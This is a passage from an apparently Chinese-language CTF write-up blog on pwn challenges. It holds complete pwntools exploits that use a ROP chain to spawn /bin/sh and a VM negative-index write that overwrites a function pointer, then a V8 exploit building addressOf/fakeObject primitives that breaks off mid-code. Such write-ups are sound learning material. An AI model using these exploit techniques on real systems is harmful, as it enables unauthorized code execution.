src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"574\" height=\"99\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/17NZFRN4Q94IANET8QN.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-951\"  sizes=\"auto, (max-width: 574px) 100vw, 574px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7559\u610f\u5230\u9898\u76ee\u7684\u4ee5\u4e0b\u90e8\u5206\u8fd8\u672a\u4f7f\u7528\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/OQO32SUNFMYJWI@9XYT8-1024x587.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"587\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/OQO32SUNFMYJWI@9XYT8-1024x587.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-952\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u7ed9r15\u8d4b\u503cdispatcher\u7684\u5730\u5740\uff0c\u7136\u540e\u5f80rbx\u6307\u5411\u7684\u4f4d\u7f6e\u5199\u5165xor\u6e05\u96f6\u7684\u8fd9\u51e0\u4e2agadget\uff0c\u901a\u8fc7jmp r15\u548cdispatcher\u7684\u51e0\u6b21\u4e92\u76f8\u8c03\u7528\uff0c\u5c31\u80fd\u6e05\u96f6rdx\u548crsi\uff0c\u6240\u4ee5payload\u66f4\u6539\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'\/bin\/sh\\x00'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u529f\u6e05\u96f6\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/P77PWK3EPJE7JVB@R0HO1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"717\" height=\"214\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/P77PWK3EPJE7JVB@R0HO1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-953\"  sizes=\"auto, (max-width: 717px) 100vw, 717px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6e05\u96f6\u540e\u5c31\u80fd\u6210\u529fgetshell\u4e86\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b8c\u6574exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom LibcSearcher import *\ncontext.log_level = 'info'\noffset=0x30\ngadget=0x40124a\npop_r13_r15_jmp_r15=0x040101a\nxchg_rax_r13_jmp_rsp=0x40100C\npop_rdi_r15_jmp_r15=0x40101d\nsyscall=0x40100a\nret=0x401013\ndispatcher=0x401011\n#rsi_rdx\nio = process(\"\/home\/monke\/PWN\/ghctf2025\/stack\/attachment\")\n#io = remote(\"node2.anna.nssctf.cn\",28493)\n#gdb.attach(io)\n#io.send(asm(shellcraft.sh()))\n#io.send(b\"ccccc\")\n\npop_rsi_rdi_rbx_r13_r15_jmp_r15=0x401017\nbinsh=0x400000\nret=u64(io.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\nprint(hex(ret))\n#payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'\/bin\/sh\\x00'\n\npayload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'\/bin\/sh\\x00'\nio.send(payload)\n\nio.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/YJBQYH64Z791SR4W6XE-1024x307.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"307\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/YJBQYH64Z791SR4W6XE-1024x307.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-954\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ez_vm\"><\/span>ez_vm<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">vm pwn\u9898\uff0c\u903b\u8f91\u6bd4\u8f83\u7b80\u5355<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">main\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/A9H5N39MG7KK7K53L1B.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"917\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/A9H5N39MG7KK7K53L1B.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-962\"  sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">execute\u51fd\u6570:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/WH@J6_TUZJP6K2J-1024x738.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"738\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/WH@J6_TUZJP6K2J-1024x738.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-963\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u7ed9\u7684\u63d0\u793a\u662f\u6307\u4ee4\u683c\u5f0f\uff0c\u4f46\u662f\u5176\u5b9e\u4e0d\u7ed9\u4e5f\u80fd\u770b\u51fa\u6765:<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/MBSOJFA8HG@I731BJW3N-1024x339.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"339\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/MBSOJFA8HG@I731BJW3N-1024x339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-965\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u64cd\u4f5c\u7801\u5bf9\u5e94\u64cd\u4f5c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff0cv2\u4ee3\u8868destination_register\uff0cv3\u4ee3\u8868source_register_1\uff0cv4\u4ee3\u8868source_register_2<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x10<\/code>\uff0816\uff09<\/strong>\uff1a\u5c06\u6307\u4ee4\u7684\u4f4e 16 \u4f4d\u503c\u52a0\u8f7d\u5230\u76ee\u6807\u5bc4\u5b58\u5668&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x20<\/code>\uff0832\uff09<\/strong>\uff1a\u5c06\u5bc4\u5b58\u5668&nbsp;<code>reg[v2]<\/code>&nbsp;\u7684\u503c\u538b\u5165Stack\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x30<\/code>\uff0848\uff09<\/strong>\uff1a\u4eceStack\u4e2d\u5f39\u51fa\u4e00\u4e2a\u503c\u5e76\u5b58\u50a8\u5230\u5bc4\u5b58\u5668&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x40<\/code>\uff0864\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3] + reg[v4]<\/code>&nbsp;\u7684\u7ed3\u679c\u5b58\u50a8\u5230&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x50<\/code>\uff0880\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3] - reg[v4]<\/code>&nbsp;\u7684\u7ed3\u679c\u5b58\u50a8\u5230&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x60<\/code>\uff0896\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3] ^ reg[v4]<\/code>&nbsp;\u7684\u7ed3\u679c\u5b58\u50a8\u5230&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x70<\/code>\uff08112\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3] &gt;&gt; reg[v4]<\/code>&nbsp;\u7684\u7ed3\u679c\u5b58\u50a8\u5230&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x80<\/code>\uff08128\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3] &lt;&lt; reg[v4]<\/code>&nbsp;\u7684\u7ed3\u679c\u5b58\u50a8\u5230&nbsp;<code>reg[v2]<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u64cd\u4f5c\u7801&nbsp;<code>0x90<\/code>\uff08144\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3]<\/code>&nbsp;\u7684\u503c\u5b58\u50a8\u5230\u5185\u5b58\u5730\u5740&nbsp;memory[<code>reg[v2]]<\/code>&nbsp;\u5904\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cStack\u548cMemory\u90fd\u662f\u5b9a\u4e49\u5728bss\u6bb5\u7684\u53d8\u91cf.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u628a\u6253\u5370\u4fe1\u606f\u7684\u51fd\u6570\u5730\u5740\u7ed9\u4e86funcptr\u5e76\u5728\u6700\u540e\u8c03\u7528\uff0cfuncptr\u5728bss\u6bb5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/XIDZY123O80QP14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"652\" height=\"812\" data-id=\"966\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/XIDZY123O80QP14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-966\"  sizes=\"auto, (max-width: 652px) 100vw, 652px\" \/><\/div><\/figure>\n<\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/ZG6LRMKT21FROHFPMY.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"681\" height=\"224\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/ZG6LRMKT21FROHFPMY.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-968\"  sizes=\"auto, (max-width: 681px) 100vw, 681px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u65f6\u6709\u540e\u95e8\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/U_ZFGJ9TQBW6KFPAN5PR-1024x458.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"458\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/U_ZFGJ9TQBW6KFPAN5PR-1024x458.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-967\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u601d\u8def\u662f\uff0c\u80fd\u4e0d\u80fd\u8986\u76d6funcptr\u4e3abackdoor\u51fd\u6570\u5730\u5740\uff1f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6ce8\u610f\u5230\u2014\u2014<strong>\u64cd\u4f5c\u7801&nbsp;<code>0x90<\/code>\uff08144\uff09<\/strong>\uff1a\u5c06&nbsp;<code>reg[v3]<\/code>&nbsp;\u7684\u503c\u5b58\u50a8\u5230\u5185\u5b58\u5730\u5740&nbsp;memory[<code>reg[v2]<\/code>]&nbsp;\u5904\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">memory\u5728funcptr\u9ad8\u5730\u5740\u5904\uff0c\u65e0\u6cd5\u76f4\u63a5\u6ea2\u51fa\u8986\u76d6\uff0c\u4f46\u662f\u5982\u679creg[v2]\u662f\u4e2a\u8d1f\u6570\uff0c\u4e0d\u5c31\u53ef\u4ee5\u5f80\u4f4e\u5730\u5740\u53bb\u8986\u76d6\u5230funcptr\u4e86\u5417\uff1f\u628a0\u8d4b\u503c\u7ed9reg0\uff0c\u628a\u4e00\u4e2a\u6b63\u6570\u8d4b\u503c\u7ed9reg1\uff0c\u7136\u540e\u7528reg0-reg1\u5373\u53ef\u4f7freg0\u4e3a\u8d1f\u6570\uff0c\u7ecf\u8fc7\u52a8\u8c03\u53ef\u4ee5\u5f97\u5230\uff0c\u5f53\u7ed9reg1\u8d4b\u503c0x8\u65f6\u5373\u53ef\u8986\u76d6\u5230funcptr:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#reg0-&gt;0\nio.sendline(str(0x10000000))\n\n#reg2-&gt;0x0877\n#io.sendline(str(0x10020877))\n\n#reg1-&gt;0x8\nio.sendline(str(0x10010008))\n\n#reg0=reg0-reg1\nio.sendline(str(0x50000001))\n\n#memrery(-8)=reg2\nio.sendline(str(0x90000202))\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/FL8@QUH29_MO7A6DIP@J-1024x495.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"495\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/FL8@QUH29_MO7A6DIP@J-1024x495.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-970\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u7531\u4e8e\u4f1a\u6574\u4e2a\u628afuncptr\u8986\u76d6\u6389\uff0c\u6240\u4ee5\u4e0d\u80fd\u53ea\u7be1\u6539\u540e\u4e24\u4f4d\u4e3a0x77\uff0c\u9700\u8981\u5b8c\u6574\u5730\u628abackdoor\u7684\u5730\u57400x400877\u4f20\u8fc7\u53bb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#reg2-&gt;backdoor(0x400877)\nio.sendline(str(0x10020877))#reg2-&gt;0x877\nio.sendline(str(0x10060040))#reg6-&gt;0x040\nio.sendline(str(0x10070010))#reg7-&gt;16\nio.sendline(str(0x80060607))#reg6=reg6&lt;&lt;16\u4f4d=0x400000\nio.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b8c\u6574exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom LibcSearcher import *\ncontext.log_level = 'info'\n\nio = process(\"\/home\/monke\/PWN\/ghctf2025\/vm\/my_vm\")\n#io = remote(\"node1.anna.nssctf.cn\",28833)\n\nio.sendline(\"0\")\nio.sendline(\"1000\")\nio.sendlineafter(\"execve:\",b'9')\n\n#gdb.attach(io,\"b execute\")\n#reg0-&gt;0\nio.sendline(str(0x10000000))\n\n#reg2-&gt;0x0877\n#io.sendline(str(0x10020877))\n\n#reg2-&gt;backdoor(0x400877)\nio.sendline(str(0x10020877))#reg2-&gt;0x877\nio.sendline(str(0x10060040))#reg6-&gt;0x040\nio.sendline(str(0x10070010))#reg7-&gt;16\nio.sendline(str(0x80060607))#reg6=reg6&lt;&lt;16\u4f4d=0x400000\nio.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877\n\n#reg1-&gt;0x8\nio.sendline(str(0x10010008))\n\n#reg0=reg0-reg1\nio.sendline(str(0x50000001))\n\n#memrery(-8)=reg2\nio.sendline(str(0x90000202))\n\nio.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"my_v8\"><\/span>my_v8<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u4e0e2019 star CTF\u7684\u9898\u76ee\u201c<strong>oob<\/strong>\u201d\u7c7b\u4f3c\uff0c\u5c31\u662f\u628aoob\u51fd\u6570\u62c6\u89e3\u6210\u4e86Myread\u548cMywrite\u6765\u5b9e\u73b0\uff0c\u76f4\u63a5\u6539exp\u5c31\u884c\uff0coob\u9898\u76ee\u89e3\u6790\u89c1<a href=\"https:\/\/www.freebuf.com\/vuls\/203721.html\">\u4ece\u4e00\u9053CTF\u9898\u96f6\u57fa\u7840\u5b66V8\u6f0f\u6d1e\u5229\u7528 &#8211; FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a>\uff0c\u4e0b\u9762\u7ed9\u51fa\u672c\u9898exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d71. \u65e0\u7b26\u53f764\u4f4d\u6574\u6570\u548c64\u4f4d\u6d6e\u70b9\u6570\u7684\u8f6c\u6362\u4ee3\u7801\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\n\nvar buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n\n\/\/ \u6d6e\u70b9\u6570\u8f6c\u6362\u4e3a64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\nfunction f2i(f)\n{\n    float64&#91;0] = f;\n    return bigUint64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a\u6d6e\u70b9\u6570\nfunction i2f(i)\n{\n    bigUint64&#91;0] = i;\n    return float64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a16\u8fdb\u5236\u5b57\u8282\u4e32\nfunction hex(i)\n{\n    return i.toString(16).padStart(16, \"0\");\n}\n\n\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d72. addressOf\u548cfakeObject\u7684\u5b9e\u73b0\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\nvar obj = {\"a\": 1};\nvar obj_array = &#91;obj];\nvar float_array = &#91;1.1];\n\nvar obj_array_map = obj_array.Myread();\nvar float_array_map = float_array.Myread();\n\n\/\/ \u6cc4\u9732\u67d0\u4e2aobject\u7684\u5730\u5740\nfunction addressOf(obj_to_leak)\n{\n    obj_array&#91;0] = obj_to_leak;\n    obj_array.Mywrite(float_array_map);\n    let obj_addr = f2i(obj_array&#91;0]) - 1n;\n    obj_array.Mywrite(obj_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return obj_addr;\n}\n\n\/\/ \u5c06\u67d0\u4e2aaddr\u5f3a\u5236\u8f6c\u6362\u4e3aobject\u5bf9\u8c61\nfunction fakeObject(addr_to_fake)\n{\n    float_array&#91;0] = i2f(addr_to_fake + 1n);\n    float_array.Mywrite(obj_array_map);\n    let faked_obj = float_array&#91;0];\n    float_array.Mywrite(float_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return faked_obj;\n}\n\n\nvar fake_array = &#91;\n    float_array_map,\n    i2f(0n),\n    i2f(0x41414141n),\n    i2f(0x1000000000n),\n    1.1,\n    2.2,\n];\n\nvar fake_array_addr = addressOf(fake_array);\nvar fake_object_addr = fake_array_addr - 0x40n + 